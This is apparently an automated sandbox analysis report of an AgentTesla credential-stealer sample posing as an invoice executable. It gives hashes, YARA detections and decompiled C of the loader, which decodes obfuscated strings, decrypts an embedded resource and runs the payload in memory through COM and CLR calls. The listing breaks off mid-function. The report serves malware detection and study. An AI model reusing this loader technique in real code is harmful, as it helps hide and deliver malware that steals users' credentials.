Commandline:	C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Imagebase:	0x400000
File size:	1218752 bytes
MD5 hash:	B3CB5B2BC5C3033B1008ED7F7F6312DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.918795043.00000000036E4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.917038973.0000000002680000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.916512263.0000000002380000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000003.765764476.000000000086E000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.916402342.00000000022A6000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe PID: 6152 Parent PID: 5940 PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exeCOMMON

Executed Functions

Non-executed Functions

Function 041BDE38, Relevance: 15.1, Strings: 12, Instructions: 141COMMON

Download Yara Rule

Strings

P@, xrefs: 041BDF94
L@, xrefs: 041BDF83
(@, xrefs: 041BDFC0
,@, xrefs: 041BDF41
4@, xrefs: 041BDF57
<@, xrefs: 041BDF6D
$@, xrefs: 041BDF2B
@, xrefs: 041BDE91
@, xrefs: 041BDE7B
l@, xrefs: 041BDFAF
\@, xrefs: 041BDF99
|@, xrefs: 041BDFC5

Memory Dump Source

Source File: 00000000.00000003.651857487.00000000041B4000.00000004.00000001.sdmp, Offset: 041B4000, based on PE: false

Similarity

API ID:
String ID: $@$(@$,@$4@$<@$L@$P@$\@$l@$|@$@$@
API String ID: 0-797587680
Opcode ID: 43444558d64f7b023874a4abc1415c6e924b081be9f9d1ae200f6cc2c75161d2
Instruction ID: 6029b273de14c8449e9685a0176ce480918ce562e279af0fe7c5e8d80987198b
Opcode Fuzzy Hash: 43444558d64f7b023874a4abc1415c6e924b081be9f9d1ae200f6cc2c75161d2
Instruction Fuzzy Hash: 2F413EB16042055BE3086BEA7C514A7B7D9D3687053B0C83BF044AB7C4EF78B9518EAE

Uniqueness

Uniqueness Score: -1.00%

Function 041C3674, Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

d=A, xrefs: 041C3777
8=A, xrefs: 041C36C6
T=A, xrefs: 041C3764
H=A, xrefs: 041C36DE

Memory Dump Source

Source File: 00000000.00000003.651857487.00000000041B4000.00000004.00000001.sdmp, Offset: 041B4000, based on PE: false

Similarity

API ID:
String ID: 8=A$H=A$T=A$d=A
API String ID: 0-4160664126
Opcode ID: 7887f208eeecd428c14445bf23e29489b9973d8e7ef39ec132a78bf408243d5b
Instruction ID: ce90c4bab6ef80369381bd0668fc13cb556012a04ec8f77112853cd12cf9377a
Opcode Fuzzy Hash: 7887f208eeecd428c14445bf23e29489b9973d8e7ef39ec132a78bf408243d5b
Instruction Fuzzy Hash: 56210A707003188BE724EE18CDC4AE9B3A9DB68700F50C1ABEDA4833D1DB34BE458AD5

Uniqueness

Uniqueness Score: -1.00%

Function 041BD77C, Relevance: 5.1, Strings: 4, Instructions: 80COMMON

Download Yara Rule

Strings

E, xrefs: 041BD7C2
8E, xrefs: 041BD7D7
XE, xrefs: 041BD7AD
,E, xrefs: 041BD7EC

Memory Dump Source

Source File: 00000000.00000003.651857487.00000000041B4000.00000004.00000001.sdmp, Offset: 041B4000, based on PE: false

Similarity

API ID:
String ID: E$,E$8E$XE
API String ID: 0-3100681216
Opcode ID: 86a6ab347b0e873a708138bf31912a48ee73fa558e09cb43a3339a5a93d8ec80
Instruction ID: d067c451dec147eef7cc9ba1e19216a531c263359c0c6c64005c1a44918c0972
Opcode Fuzzy Hash: 86a6ab347b0e873a708138bf31912a48ee73fa558e09cb43a3339a5a93d8ec80
Instruction Fuzzy Hash: F921EE347010449BF304B7B4EE916AB3212DB8430AB50C536E6D59F7A1DB79BC258BDE

Uniqueness

Uniqueness Score: -1.00%

Function 041D32A4, Relevance: 5.1, Strings: 4, Instructions: 73COMMON

Download Yara Rule

Strings

D9B, xrefs: 041D3312
89B, xrefs: 041D32EE
\9B, xrefs: 041D335A
P9B, xrefs: 041D3336

Memory Dump Source

Source File: 00000000.00000003.651857487.00000000041B4000.00000004.00000001.sdmp, Offset: 041B4000, based on PE: false

Similarity

API ID:
String ID: 89B$D9B$P9B$\9B
API String ID: 0-2525455312
Opcode ID: 0e0f1424e1c9dd873976561f4fb67fa3872ec2266b5ae2cc8607a0e177018066
Instruction ID: 4dc6eb141cfb1b9b69095870c1d5aabdce0a5b3eb5cc2be3925c6a2a64c70516
Opcode Fuzzy Hash: 0e0f1424e1c9dd873976561f4fb67fa3872ec2266b5ae2cc8607a0e177018066
Instruction Fuzzy Hash: 2D2101B6300214AFE305DB54ECC1EAFB3BAEB4A704F408431E810A7354DBB9BE018798

Uniqueness

Uniqueness Score: -1.00%

Function 041C3CF0, Relevance: 5.0, Strings: 4, Instructions: 42COMMON

Download Yara Rule

Strings

@, xrefs: 041C3D28
$)A, xrefs: 041C3D5F
D0A, xrefs: 041C3D6C
x:A, xrefs: 041C3D45

Memory Dump Source

Source File: 00000000.00000003.651857487.00000000041B4000.00000004.00000001.sdmp, Offset: 041B4000, based on PE: false

Similarity

API ID:
String ID: $)A$D0A$x:A$@
API String ID: 0-660431224
Opcode ID: 26795a1da81b93c05bcb38b9583e65871f052040fd3128df14e19c188951cf76
Instruction ID: b0027d32fa1956bb11eca7cb1593ced1532299b4cec198a891da5699108b0686
Opcode Fuzzy Hash: 26795a1da81b93c05bcb38b9583e65871f052040fd3128df14e19c188951cf76
Instruction Fuzzy Hash: 020148B82043459F9341EF28E8415127BE5FB897043A0C4B6E804CB7A1E3B8E845CBDE

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe PID: 6944 Parent PID: 6152 PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exeCOMMON

Executed Functions

Function 004019F0, Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						FindCloseChangeNotification(_t525); // executed
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, E004018D0(_t563 + 0x54));
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543);
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x76e3cf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
